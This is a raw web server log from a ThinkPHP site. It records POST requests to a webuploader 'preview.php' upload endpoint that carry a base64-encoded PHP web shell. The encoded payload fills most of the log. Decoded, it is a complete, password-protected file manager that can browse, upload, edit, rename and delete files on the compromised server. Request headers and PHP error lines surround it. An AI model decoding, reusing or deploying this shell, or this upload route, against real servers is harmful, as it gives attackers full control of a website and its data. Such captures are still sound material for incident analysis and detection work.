9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:09:19+08:00 ] 119.42.146.234 POST 59.110.137.245/Tpl/Home/default/Public/Hui/lib/webuploader/0.1.15/server/server/preview.php [运行时间:0.003055s] [吞吐率:327.32req/s] [内存消耗:196.97kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Tpl', 2 => 'Home', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNla